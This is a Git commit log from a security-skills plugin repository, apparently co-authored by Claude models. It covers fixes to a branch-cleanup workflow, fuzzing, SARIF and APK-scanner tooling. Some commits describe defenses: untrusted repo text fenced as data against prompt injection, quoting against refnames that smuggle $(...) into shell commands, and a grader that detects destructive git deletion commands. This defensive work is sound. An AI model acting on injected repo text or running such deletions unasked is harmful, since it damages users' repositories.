- `worktreePath` is optional in the schema but load-bearing for delete ordering. The join is now derived from the required `worktrees[]` array. - The investigator's context list was uncapped and replicated into every slice of a split cluster: 300 siblings produced a 41 KB prompt that was 98% context. Capped at 8, ranked to keep tracked siblings, since those are the plausible superseders. - Untrusted repo text — branch names, commit subjects, and the investigator's own evidence field — is now fenced in `<repo-data>` with an explicit data boundary. `agent()` takes no tool list and the agents need Bash for git, so the tool-level restriction is not available from here; the boundary is stated instead. - Recorded the `pipeline()` index-alignment dependency the assembly step rests on. Checkers, so a commands-only plugin is not unverified: - The validator now checks command frontmatter (parses, has a description, uses `allowed-tools:` not `tools:`) — it previously had no references to commands at all. - A plugin exposing no entry point at all is now an error, so the loadability checks cannot pass vacuously at 0 == 0 on a plugin that ships nothing runnable. - Six new self-test assertions cover both, including that a valid command is accepted and that commands alone satisfy the entry-point rule. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * git-cleanup: lead with the typical agent count, not the ceiling hbrodin measured a dozen branches spawning three agents, because the deterministic triage decides most of them without spawning anything. Eleven was the worst case presented as the headline number. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * ci: let the js-tests guard recognise node:test suites The execution guard demanded a `<n> assertions passed` line, which is git-cleanup's own convention. semgrep-rule-variant-creator's suites use node:test and report `<mark> pass <n>`, so the guard failed two honest suites for using the other format — a guard that only knew the format of the suite it shipped with. Both formats now count. The node:test branch does not anchor on `^.`: that mark is multi-byte, the recipe runs under /bin/sh in whatever locale the machine has, and `.` matches a single byte in the C locale — which matched interactively and failed under make. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * git-cleanup: address the automated review's findings The nine hbrodin threads were already handled in c5358a1; these are the github-actions review's, which were not. Correctness: - `verifyWith` now names `refs/heads/<branch>` rather than the tip sha the survey agent reported. The agent joins `branch -vv` and `branch --merged` into one row itself, so a transposed or stale `lastCommit` could carry a sha that IS an ancestor of the default branch while the branch is not — the precondition would then pass on a branch it never examined, and `-d` accepts it too. A refname cannot desynchronise from the branch it names. This also removes the `--is-ancestor (unknown) main` bash syntax error when `lastCommit` is empty; the evidence now says so in words. - Both refnames in `verifyWith` are single-quoted through a new `sq()` helper, with the `'\''` escape. Refnames may legally contain `$(...)`, backticks and `'` — only a space is refused — and this is the one place the workflow builds a shell command for the model to paste, so it now meets the bar the command file sets for the agents. - `g_no_destructive_command_run` missed `branch --delete`, `push -d`, `update-ref -d`, and anything behind another global option (`git -c …`, `git --git-dir=…`). A run that deleted a branch by any of those spellings scored PASS from the grader whose only job is to notice. Global options are now consumed generically and both spellings of every delete flag are matched; the self-test covers all of them plus three non-delete pushes that must still pass. - `g_all_branches_mentioned` returned PASS on an empty manifest — the repo's own named anti-pattern. It now ERRORs, with an assertion proving it. - `make-repo.sh` claimed reproducible shas while inheriting the caller's git config. `eval-self-tests` is in `make check`, so a developer with `commit.gpgsign = true` would have had the whole build block on a passphrase. GIT_CONFIG_GLOBAL/SYSTEM are pointed at /dev/null and hooks/signing disabled per-repo. The pinned `3fcf672`, `64b5c2a` and `a2f470c` are unchanged. - The command file handed the model a literal `${CLAUDE_PLUGIN_ROOT}` with nothing to expand it, and documented recovery for two failures but not that one. It now resolves the root first and treats an unreadable scriptPath as a fall-through to the inline path rather than an abort. Docs that contradicted the code: - git-cleanup README stated the `git branch -d` safety rationale this PR exists to disprove, and never mentioned `verifyWith` — a maintainer reading it would have dropped the precondition as redundant. Its gate-2 example showed an unguarded `git branch -d` too, and its protected list named four of ~25 names. - merge-evidence.md said "Git proved it; nothing further is needed" for the one category that now carries a precondition, and referred to "the skill's" fallback. - evals/README.md credited `analyze-branches.test.mjs` with covering gate-2 prose it does not read. - Makefile said CI scopes the validator to touched plugins. It does not — only the version-increment check is scoped; AGENTS.md had it right. - The context-ranking comment claimed recency; the sort key is tracked-ness only and the schema carries no date to sort on. - A dead `grep -v` in the self-test, overwritten by the next line. Not addressed: the Codex entry-point gap (`commands/` and `workflows/` are not Codex-supported components, so git-cleanup has no invocable entry point there). That is a maintainer call about plugin shape, not something to decide inside this PR. Suites: 47 JS assertions, 49 eval self-test assertions, 53 validator assertions. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * git-cleanup: report protected branches, and normalize the refs the survey reports Both findings from hbrodin's second pass. Both were in the deterministic core, so both are pinned by tests rather than argued about. **Protected branches vanished from the report.** The filter ran before triage and `report()` only read `settled`/`investigated`, so a protected branch landed in no output array at all — `staging` carrying seven unpushed commits was simply absent, and Safety Rule 7 ("a partial run must not read as a complete one") had nothing to fire on. Never deletable and never mentioned are different guarantees; only the first was wanted. They now travel to `report()` and come back under `keep` with category `PROTECTED`, evidence naming why they were excluded and their unpushed count when they have one. An unpushed count on a protected branch is logged as well. Also took the second half: `test`, `testing`, `demo`, `sandbox`, `latest` and `default` are out of the regex. They are not environment branches, they are the throwaway local names this tool exists to clean up, and with `/i` the list took `Test` and `Demo` too. Over-protection is not free just because it errs safe — a branch this tool refuses to touch has to be deleted by hand. **`defaultBranch` arrived as a remote ref.** `git symbolic-ref refs/remotes/origin/HEAD` prints `refs/remotes/origin/mainline`, not `mainline`, and the prompt did not pass `--short` nor did the schema say which form it wanted. The name comparison therefore missed, and a repo whose default branch is outside `PROTECTED` saw its own trunk on the delete list — with `verifyWith` returning 0, since `git branch --merged refs/remotes/origin/mainline` still lists `mainline`. The command file's inline fallback already normalized (`--short`, then `${default_branch#origin/}`), so the two analysis paths disagreed with each other. Fixed with a `localName()` applied to both `defaultBranch` and `currentBranch`, `--short` in the survey prompt, and a `description` on both schema properties. `currentBranch` had the same exposure and was failing safe only because `git branch -d` refuses the checked-out branch. Tests: 61 JS assertions, up from 47. Four cases added — the three reported spellings of `defaultBranch` each protecting the trunk, a fully qualified `currentBranch`, a protected branch with unpushed work surviving into `keep`, and the trimmed names being analyzable again. Three existing assertions changed from "absent everywhere" to "absent from the delete paths, present under PROTECTED". Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 <noreply@anthropic.com> Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com> |
||
|
Dan Guido
|
6ca26096b0 |
Fix the aflpp wrapper TTY requirement and its unpasteable examples (#270)
* Make the aflpp wrapper and examples runnable without a TTY The wrapper ran `docker run -ti`, which aborts with "the input device is not a TTY" whenever stdin is not a terminal, and hardcoded `--name afl_fuzzing`, so the multi-core examples collided on the second container. Drop `-t`, keep `-i`, and name the container after the wrapper's PID. Resolve the 26 `<host/docker>` placeholders to a concrete mode. Bash parses `<host/docker>` as a redirection, so none of those lines could be pasted. The two `afl-system-config` invocations become `host` alongside the `afl-persistent-config` sequence they belong to; the rest become `docker`, matching the Quick Start. `<test_case>` gets a real crash filename for the same reason. Move `watch` to the host side of the wrapper, since it needs the terminal that `docker run -i` no longer provides, and note that gnuplot is only an install step in host mode because the aflplusplus image already ships gnuplot-nox. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * aflpp: keep backgrounded fuzzers off the terminal's stdin The wrapper keeps `docker run -i`, so the docker client reads its own stdin. A backgrounded process that reads the controlling terminal is sent SIGTTIN, whose default action stops it, so the four `&` examples produced Stopped jobs rather than running fuzzers — verified under a pty: the backgrounded reader lands in state T, and `</dev/null` runs to completion. Redirect stdin in all four and say why the redirect is load-bearing. The cmplog example also wrote to secondary02.log, clobbering the secondary it tells you to start alongside it; give it its own log. Three prose corrections: the wrapper joins its arguments into one shell string rather than passing them "unchanged", so quoted paths with spaces are word-split; `docker ps` truncates COMMAND so the per-PID container names are only visible under `--no-trunc`; and the statistics table now says where those fields appear without a TTY, since no `docker`-mode example can draw the full-screen UI. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com> |
||
|
Dan Guido
|
43d16a56d8 |
zeroize-audit: give SKILL.md a run entry point and link the Rust patterns reference (#267)
* zeroize-audit: give SKILL.md a run entry point, link Rust patterns
SKILL.md described what the skill finds but never told the model how to
start a run: prompts/task.md, which holds the phase loop the whole
pipeline hangs off, appeared only as a parenthetical in a table caption.
Add a "How to Run" section that maps a user request onto collecting the
inputs, reading task.md and system.md, executing the phase loop over
workflows/phase-{N}-*.md, and returning final-report.md, plus the
orchestrator-state.json resume path.
references/rust-zeroization-patterns.md had no inbound reference from
anywhere in the plugin. Link it from SKILL.md's detection strategy and
from the two Rust analyzer agents, each pointing at the section covering
the patterns that agent's scripts match: Section A/B from
2b-rust-source-analyzer, Section C from 3b-rust-compiler-analyzer, with
Section D flagged there as a coverage gap a clean run does not rule out.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* Correct the completeness claims in the new reference links
Review found the link text overstated what the pattern reference covers,
in a way that risks suppressing real findings. Verified against the
scripts and corrected:
- Section C documents 12 patterns, not every pattern the three scripts
match: check_mir_patterns.py defines 8 detectors against 3 entries, and
check_llvm_patterns.py emits classes for secret return values and
by-value aggregate arguments with no entry at all. The 3b agent now
says Section C is a subset and that a pattern with no entry is still a
valid finding carrying the script's own evidence, so a missing entry
cannot read as "not a real pattern".
- Section A is not a 1:1 map of the 2b bullet list: the
missing-zeroize-dependency check has no entry, and A6 (ManuallyDrop<T>
field) has no bullet. Counts coincide at 12; contents do not.
- 34 of the 40 patterns are detected; Section D's 6 are known gaps, so
SKILL.md no longer calls all 40 "what the tooling looks for".
- C-ASM3 and C-ASM4 carry no snippet, so "each entry gives a reproducing
snippet" is now "most also give".
Also fill in the max_tus and mcp_timeout_ms defaults from
schemas/input.json, which the new "leave other fields at their defaults"
step depends on, and add the three reference files missing from the
README index, including the one this branch de-orphaned.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* zeroize-audit: register the agent dispatches and route coverage gaps to the report
The run path this PR documents dispatches every agent by bare name — twelve
sites across the phase workflows, none carrying a subagent_type — so the first
thing a user hits after following the new "How to Run" section is an
unregistered dispatch. Namespace all twelve as `zeroize-audit:<agent>`, matching
rust-review and the names the agent files actually declare.
The Section D paragraph told 3b to record unaudited patterns in notes.md, but
the report assembler reads only the *-findings.json files, so a crate using
`Arc<SecretKey>` or a `static LazyLock<MasterKey>` produced a final report
indistinguishable from a crate using neither. Write them to coverage-gaps.json
instead, have the assembler read it, and require Analysis Coverage to state
either the gaps or that none were reported — a missing line reads as full
coverage.
2b told the agent to use a Section A snippet to judge whether a flagged type "is
a false positive", with nothing in the file permitting or recording a drop; 3b
already carries a "never drop or downgrade" guard. Give 2b the same guard: a
weak match is a needs_review finding whose evidence says how the code differs,
never an omission.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX
* zeroize-audit: drop the duplicated merge paragraph in the assembler
The Step 1 collection section carried the same instruction twice, the second
copy predating the rust-compiler-analysis directory it omits.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX
* zeroize-audit: arm the dispatch check and make the coverage survey real
The namespaced dispatches were written as `` `subagent_type: zeroize-audit:X` ``,
which matches neither validator extractor — both need a quote or backtick
immediately after the colon — so validate_subagent_dispatch inspected zero sites
in this plugin and a regression back to a bare name would have passed CI. Quote
the values; the validator now sees all twelve, and reverting one to a bare name
fails the build.
coverage-gaps.json was read as item 4 of Step 1, but Mode Branching runs Step 1
in interim mode only while Analysis Coverage is Step 6, final-only — so the file
was read, discarded, and the report still said "no coverage gaps were reported".
Read it where it is used instead.
Nothing told 3b to perform the Section D survey: the paragraph sat above Step 1,
the numbered steps never looked, and the agent reads only MIR/IR/assembly while
five of the six D patterns are source constructs. Add Step 6 with the grep
markers and the sensitive-type filter, require the file unconditionally so an
empty survey is distinguishable from no survey, and declare it in the phase-2
workflow, the always-write list, system.md's layout, and the report template.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com>
|
||
|
Dan Guido
|
922ec62527 |
Fix firebase-apk-scanner scanner.sh path and command handoff (#269)
* Fix firebase-apk-scanner scanner.sh path and command handoff
scanner.sh sat at the plugin root, but SKILL.md invoked it as
{baseDir}/scanner.sh, where {baseDir} is the skill directory, so the skill's
central action pointed at a nonexistent path. Move the script into
skills/firebase-apk-scanner/ with git mv so the path resolves; the SKILL.md
references are unchanged.
The firebase-apk-scanner skill sets disable-model-invocation: true, so the
model cannot invoke it and the command body's "Invoke the skill" instruction
was a dead end. Rework commands/scan-apk.md to read and follow the skill's
SKILL.md workflow directly, resolving the skill base directory via the plugin
root environment variable.
Fix README usage: the command is /trailofbits:scan-apk (not /firebase-scan),
and the standalone script path is now skills/firebase-apk-scanner/scanner.sh.
Bump version 2.1.1 -> 2.2.0.
Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* firebase-apk-scanner: make the command reachable and stop reporting empty scans as clean
Claude Code ignores `name` in a command file, so `name: trailofbits:scan-apk`
never took effect and `/trailofbits:scan-apk` — the only entry point the README
documented — was unreachable. Commands namespace by plugin directory name, as
insecure-defaults already does with no `name` key, so drop the key and document
`/firebase-apk-scanner:scan-apk`.
A directory holding no .apk files ran the loop zero times and still printed
"Vulnerable: 0" in green at exit 0, and an APK that failed to decompile counted
toward "Total APKs" while counting toward nothing else, so "1 scanned, 0
vulnerable" covered an APK that was never tested. Both now fail: an empty
directory exits 1, an all-failed run exits 1, and a partial failure reports
"Failed to scan: N" and carries failed_apks in scan_report.json. The skill's
summary table gained the matching row. Also match *.APK, which was silently
skipped and fed the zero-item pass.
The summary block passed colors as printf arguments while the color variables
held a literal \033, so those lines printed the escape as four characters. Use
ANSI-C quoting so the variables carry real ESC bytes in both positions.
Give the command a plugin-root fallback and an abort, matching c-review, so it
does not dead-end under Codex where CLAUDE_PLUGIN_ROOT is unset, and say that
$ARGUMENTS in the workflow file is literal text to substitute rather than a
shell variable to expand.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX
* firebase-apk-scanner: stop calling an untested APK secure
extract_firebase_config always writes a config file, emitting [] for every field
it found nothing for, so the CONFIG_FAILED branch only fires if the write itself
fails. The case that actually happens — the APK decompiles but carries no
Firebase config, because it is obfuscated or does not use Firebase — skipped
every endpoint test on its own guard, left apk_vulnerable false, and wrote
SECURE. Output was "Total APKs: 1 / Vulnerable: 0" in green at exit 0 with zero
endpoints probed, byte-identical to a real clean scan.
Detect the all-empty config, mark the APK NO_CONFIG, count it in UNTESTED_APKS,
and report it on its own line and as untested_apks in scan_report.json. A run
where every APK either failed or had no config now exits 1, since nothing was
tested. The skill's summary table gained the row and says what NO_CONFIG means.
Verified with a stub apktool that decompiles to an empty tree: before, exit 0
and status SECURE; after, exit 1, status NO_CONFIG, untested_apks 1.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com>
|
||
|
Julius Alexandre
|
293fb74c31 |
Add modern-cpp plugin for C++20/23/26 best practices (#142)
* Add modern-cpp plugin for C++20/23/26 best practices
Modern C++ skill guiding Claude toward modern idioms with a security
emphasis. Mirrors modern-python in spirit but focuses on language
standards rather than toolchain.
Features tiered by practical usability:
- Tier 1 (Use Today): C++20/23 features with solid compiler support
- Tier 2 (Deploy Now): Compiler hardening, sanitizers, hardened libc++
- Tier 3 (Plan For): C++26 reflection
- Tier 4 (Watch): Contracts, std::execution
Includes SKILL.md entry point + 6 reference docs:
- anti-patterns.md (30+ legacy-to-modern swaps)
- cpp20-features.md (concepts, ranges, span, format, coroutines)
- cpp23-features.md (expected, print, deducing this, flat_map)
- cpp26-features.md (reflection, contracts, memory safety)
- compiler-hardening.md (flags, sanitizers, hardened libc++)
- safe-idioms.md (security patterns by vulnerability class)
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* Remove .codex/ sidecar
AGENTS.md bans runtime sidecars: Claude marketplace metadata is the single
canonical source and Codex reads it through that compatibility. The rule landed
in
|
||
|
Dan Guido
|
7be90d6e55 |
Close unterminated fences in cairo, algorand, and ton scanner skills (#268)
* Close unterminated fences in three chain scanner skills
The cairo, algorand, and ton scanner SKILL.md files each opened a code
fence for the "Example Output" report and never closed it. Everything
after that point - sections 6 through 12, roughly two thirds of each
skill - rendered as one code block instead of as markdown. Each file
also carried three sections numbered "## 5.".
Close the fence at the end of the surviving example report in each file,
then renumber the H2 sections 1..12 in document order so they are unique
and increasing. This matches solana-vulnerability-scanner, the fourth
sibling, which was repaired the same way in #160.
The example reports themselves are still truncated: cairo retains only
its banner line, and algorand and ton both announce two findings but
show one. That content was already gone in the initial import (
|
||
|
Dan Guido
|
1e0cc133f4 |
trailmark: pass --language to graph-evolution's diff calls (#266)
* trailmark: pass --language to graph-evolution's diff calls `trailmark diff` defaults `--language` to `python`. On a non-Python target it exits 0 and writes well-formed JSON with empty `nodes`, `edges`, and `entrypoints` arrays, which the skill's own "stop if empty" guard read as "no changes" rather than "wrong language". Both call sites now pass `--language auto`, mirroring the `language="auto"` default that Phase 2's `build_and_export` already uses, and the guard text says to confirm the language before treating an empty diff as an unchanged codebase. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * trailmark: fix the two remaining bare diff calls and the stale empty-diff guard The core skill's Quick Start (SKILL.md:147) and query-patterns.md:223 still ran `trailmark diff` without `--language`, hitting the same silent python default this PR fixes in graph-evolution — worse, the entrypoints line directly above each passes `--language auto`, so the omission read as deliberate. Pass `--language auto` at both. With `auto` in the documented command, "empty most often means the language was wrong" no longer names the likely cause, and "compare the two outputs" gives no decision rule. Key the empty-diff guard on Phase 2's graph summaries instead: empty diff plus healthy node counts on both snapshots is genuine stability, empty diff with a (near-)zero count means the parse missed the code. The checklist item now states that checkable condition rather than a self-attested "language was confirmed". Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: Scott Arciszewski <147527775+tob-scott-a@users.noreply.github.com> |
||
|
Dan Guido
|
9b2813356e |
static-analysis: resolve SARIF severity from the rule, not just result.level (#271)
* static-analysis: resolve SARIF severity from the rule result.level is optional in SARIF 2.1.0 and CodeQL never emits it: severity lives on the rule as defaultConfiguration.level and the result inherits it. sarif-parsing read result.level directly in the helper, the jq reference and the SKILL, so the documented CI gate counted zero errors on a CodeQL run however many it found. resolve_level() now joins the rule by ruleIndex, falls back to ruleId, and returns result.level when present, "warning" when neither states one, and "none" for a kind other than "fail" so passing compliance records do not inherit an error. The jq queries and every SKILL example resolve the same way. compute_fingerprint() hashed the basename alone, so the same rule at the same line in two directories collided and deduplicate() dropped the second finding. It now hashes the whole normalized path. Two fixtures and a pytest suite pin both: fixtures/codeql-no-level.sarif holds one error reachable only through its rule, fixtures/levels-on-results.sarif holds one error on the result, and the suite runs the documented jq gate over both so the docs cannot drift from the helper. Fixes #262 Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * static-analysis: reject a negative ruleIndex in the jq resolver SARIF writes ruleIndex: -1 for "no rule", and $rules[-1] in jq is the last element, so the documented function labelled those results with whatever severity the final rule in the array happened to carry. The Python resolver already rejected it through its 0 <= index < len(rules) bound; the jq copies now require >= 0 too, and a test pins both. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * static-analysis: run the documented GitHub Actions gate in the suite The workflow step inlines its own copy of the resolver, since a workflow has no shell variable to paste LEVEL_FN into, so comparing the LEVEL_FN blocks left the one artifact issue #262 named untested. The suite now extracts that step's jq program and runs it over both fixtures. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * static-analysis: coalesce null kind and drop the misleading pysarif level example resolve_level read `result.get("kind", "fail")`, which only defaults when the key is absent; an explicit `"kind": null` returned "none" and hid a real error, where the jq gate's `// "fail"` coalesces it to a fail. Coalesce null to "fail" so the two resolvers agree, and add a null/fail regression test the buggy form fails. The pysarif Strategy 2 example computed `result.level or rule_levels.get(...)`, but pysarif fills a missing result.level with "warning", so the rule-inheritance fallback was dead code and a CodeQL error printed as "warning". Drop it and point severity gating at Strategy 1's level() or resolve_level(), which resolve from the rule. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_014UFqJu1ada7gXjD9peo1rX --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> |
||
|
Dan Guido
|
9e06dc67a3 |
Make every documented command runnable under our own python shims (#258)
* Make every documented command runnable under our own python shims
The modern-python plugin ships PATH shims that refuse `python <script>`,
`pip install`, `python -m pip` and `uv pip install`. Twelve other plugins
in this marketplace issued exactly those forms, so installing our own
plugin broke our own skills — and CI was green throughout.
The worst case was not theoretical. c-review and rust-review both call
their Phase 4 planner as `python3 "${PLUGIN_ROOT}/scripts/build_run_plan.py"`,
so with the shim installed every run died before spawning a worker.
Verified both directions: the new form exits 0 with the shim on PATH, the
old form exits 1.
Phase 1's reading pass named 16 skills. A mechanical sweep found 96
candidate lines across 44 files, and scanning shell scripts as well as
markdown found 10 more the docs sweep had missed. That gap is the reason
the check below exists.
The fix is not one substitution. Four classes needed different treatment:
- Our own scripts become `uv run --no-project <script>`. Not bare `uv run`,
because these execute inside the *target* repo, which may be a Python
project that cannot resolve; verified against a broken pyproject.toml and
against validate_artifacts.py's sibling import of generate_sarif.
- Package installs become `uv add` for a dependency, `uv tool install` for a
CLI, `uv sync` for a project's own editable install.
- Third-party CLIs we merely document — OSS-Fuzz's infra/helper.py, yarGen —
become `uv run --no-project python <script>`, which keeps upstream's exact
semantics rather than handing their script an environment we manage.
- atheris's instrumented build keeps its source build, as
`uv add --no-binary-package cbor2`. Dropping that flag would silently
produce an uninstrumented fuzzer, which is worse than a visible failure.
Its prose was updated to name the flag it now uses.
Two factual corrections fell out. `pip install caracal` was wrong twice
over: caracal is a Rust tool (Cargo.toml at its root), so it is now
upstream's own `cargo install --git`, not a uv equivalent that would fetch
an unrelated PyPI package. And `pip install uv` cannot bootstrap uv under
a shim that intercepts pip, so culture-index now points at the official
installer.
Thirteen lines stay as they are, each deliberately: Dockerfile `RUN` lines
and oss-fuzz's build.sh run in containers where our shims are absent;
codeql's pip calls install the *analysed* project's dependencies, and that
project is arbitrary; trailmark's dispatch skills must keep saying "Do NOT
run `pip install`"; and modern-python documents what it intercepts.
`make shell-suites` passes again as a result — exit 0 with the 1.6.0 shim,
where AGENTS.md previously recorded it as broken by variant-analysis.
The guardrail: check_python_invocations scans 698 markdown and shell files
and fails on the four refused forms, with structural exemptions for
dockerfile fences and an `allow-legacy-python: <reason>` marker that scopes
to its code block. Eleven self-test fixtures cover it, four asserting it
fires and seven asserting it stays quiet on the compliant forms. It was
mutation-tested in both languages, and it caught its own worst bug during
development: unanchored patterns first flagged `uv run --no-project python
fuzz.py`, the very form the advice recommends. Self-test goes 45 -> 56.
* Review pass: fix the atheris flow, drop a stray exemption, trim comments
Three corrections from reviewing the branch diff:
- atheris's install now opens with `uv init --bare`, without which the
documented `uv add atheris` errors in a bare harness directory. The old
pip form assumed an activated venv, so setup was always implicit; now
it is one explicit line.
- ossfuzz carried an allow-legacy-python marker on a C++ build block that
contains no python at all — yesterday's insertion matched the first of
three "Build in build.sh" headings instead of the python one. The
exemption now sits only on the block that needs it.
- The anti-vacuity message said "read no markdown" for a scan that also
covers shell scripts.
The rest is weight: the new check's comment blocks, the hardcoded-path
constants' commentary, the AGENTS.md bullets and the three exemption
markers all said the same things at two to three times the length. Each
keeps its one-line why; the narratives are gone. No behavioural change —
self-test still passes 56 assertions and the full scan is unchanged.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* Address the review: fix where packages land, widen the check to match the shim
The review's core insight was right twice over. Several substitutions had
changed WHERE a package lands, breaking the documented next step, and the
checker enforced a narrower invariant than the shim it exists to mirror.
Where packages land:
- trailmark is imported as a library from five skills, and a `uv tool
install` environment is not importable — the retry loop at
trailmark/SKILL.md:47-51 would have spun forever on the exact error it
names. The CLI install stays `uv tool install`; the import snippets now
run under `uv run --with trailmark python -`.
- `uv add` writes to the manifest of whatever project you are standing
in, which for sarif-parsing is the audited repo. Its scripting rows,
ijson comment and jsonschema example now use `uv run --with <pkg>`,
which leaves no trace. atheris keeps `uv add` deliberately: the fuzzing
harness is the user's own project, made explicit by `uv init --bare`.
- `uv sync` leaves ct-analyzer in .venv/bin, so the README's very next
line failed with command not found. Now `uv tool install .`, verified
end to end: the console script lands on PATH and --help runs.
- yarGen needs pefile/lxml/yara-python, which `--no-project` had detached;
now `uv run --with-requirements requirements.txt`.
- The cbor2 source-build preference now persists via
`no-binary-package = ["cbor2"]` under [tool.uv] (field verified against
uv's accepted-settings list), so a later `uv sync` cannot silently swap
in an uninstrumented wheel.
The checker, widened to the shim's actual behaviour:
- `python3 --version` and `python3 -u foo.py` are refused by the shim but
passed the old patterns; one live instance (constant-time-analysis
README) proved it. Both forms are now caught.
- Every `uv pip` subcommand is refused, not just install; `-t` joins the
allowed tool-managed flags.
- .py files are scanned too: usage strings and error messages told users
to run refused commands from ten scripts, including the --help of the
very planner this PR fixed. All rewritten.
- The evals/tests exemption now tests path parts relative to plugins/, so
a checkout under a directory named tests no longer exempts every file.
- An allow-marker's scope ends at a blank line as well as a fence, so one
marker cannot blanket a whole file; quality-assessment.md gains the
second marker that scoping made necessary.
Also from the review: zeroize's preflight gets `which python3` back (a
helper script still needs the binary; the shim never required removing
it), the Makefile's shell-suites note no longer describes an interception
that is gone, and the cairo CI example warns that it rebuilds caracal
from source each run.
Self-test 56 -> 63; every new pattern and exemption is fixture-covered
and was mutation-probed against the real tree. Full scan: 0 findings over
773 files.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* Address the second review: prerequisite probe, checker parity, package placement
The review's P2 was a regression this PR introduced for a population the
first fix ignored: c-review and rust-review now require uv, and a box
with python3 but no uv would die at Phase 4 exactly the way shimmed boxes
died before. Phase 1 (Prerequisites) in both skills now probes
`command -v uv` and aborts with install guidance. zeroize-audit's
preflight already checked uv. The four converted shell suites gain the
same guard with a clear message instead of a bare 127 mid-run.
Checker parity with the shims, second pass:
- pipx and the non-install pip subcommands are refused by catch-all shim
arms and passed the checker; both get named-subcommand patterns.
- A script named by variable or path (`python3 "$MERGE"`) has no `.py`
token; a new pattern covers it and immediately caught one live
instance — a codeql test stub that fakes uv itself, now carrying an
allow-marker with its reason.
- finditer everywhere: a compliant `uv run` earlier on a line no longer
masks a refused command later on it, which was exactly the table-cell
case the unanchored design exists for.
- Prohibition phrases now test the text BEFORE the match, so
"Use `pip install semgrep` instead of the tarball" is flagged while
"Do NOT run `pip install`" stays exempt.
- The uv-pip allowance matches whole flags after the command, so
`--target-dir` no longer counts as `--target` and a trailing `-t /tmp`
does; `uv pip` precedes `pip` in the pattern order so its lines get
the right advice; a pip match directly after `uv ` defers to the
uv-pip verdict instead of double-reporting.
Package placement, continued from the same insight as round one:
- yarGen regains --no-project alongside --with-requirements, plus a cd
into the checkout so requirements.txt resolves where it lives.
- sarif-parsing's jsonschema example no longer names a script that does
not exist, and the table's run-forms show a concrete script.py.
- culture-index's two messages now agree and name the actual remedy
(`uv run --project` on the scripts directory) instead of re-adding a
dependency its pyproject already declares.
- merge_sarif's usage line gains --no-project; the generator plugin's
install section stops prescribing a venv its own runner never uses.
- generate_poc declared requires-python >=3.9 while using `str | None`
in a signature, a TypeError on 3.9 that uv's interpreter selection
made reachable; now >=3.10.
- The GitLab CI example exports ~/.local/bin onto PATH, without which
`uv tool install` warns and the next line dies command-not-found.
Self-test 63 -> 71; the masking, prohibition-direction, flag-position
and pipx cases are all fixtures, and each new pattern was probed live
against the tree (plant, error, remove, clean — 0 findings over 773
files).
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
* Address the third review: importable trailmark, honest probes, sturdier scan
The P2 was the residue of round two's own fix, applied to the siblings
but not the flagship: trailmark/SKILL.md told the model to cure an import
error with `uv tool install`, which cannot cure it — a tool env is not
importable — while forbidding every fallback. The install block now says
what each remedy is for: `uv tool install` for the CLI, `uv run --with
trailmark python -` for the snippets, and the other five library-first
docs carry the same one-line annotation next to their install command.
Empirically settled rather than taken from the review: `uv run python3
<script>` works fine under the shims — uv prepends its environment's bin
directory, so python3 resolves to a real interpreter, not the shim. The
review's claim to the contrary would have meant rewriting the Makefile
and a bats suite; a two-minute transcript said no. Also declined: a
zeroize uv-prerequisite (its preflight already lists uv and uvx; the
C/C++ `which` line now names uv too).
Real and fixed:
- ct-analyzer's availability probe ran `python3 --version` by subprocess
— the one refused form — so under the shims it reported "Python is not
available" on machines where it plainly is. It now probes
sys.executable, the interpreter the analyzer itself runs under.
Verified under the shim: probe returns True.
- The flag step-over in both script patterns handles long and
value-taking flags (`python3 -W ignore harness.py`, `--verbose
tool.py`), matching the shim's two-slot consumption.
- A bare `allow-legacy-python:` with no reason no longer exempts
anything; the reason the docs demand is now enforced.
- `uv run {baseDir}/...` gets --no-project at the ten semgrep and
culture-index call sites that round two missed, and the culture-index
remediation strings now name that same runnable command instead of a
--project mechanism nothing uses.
- pip gains cache/config; the pattern comment now says the subcommand
list is deliberately a subset.
